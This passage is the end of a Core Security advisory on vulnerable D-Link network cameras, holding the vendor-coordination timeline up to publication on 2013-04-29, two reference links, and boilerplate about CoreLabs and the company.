notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. 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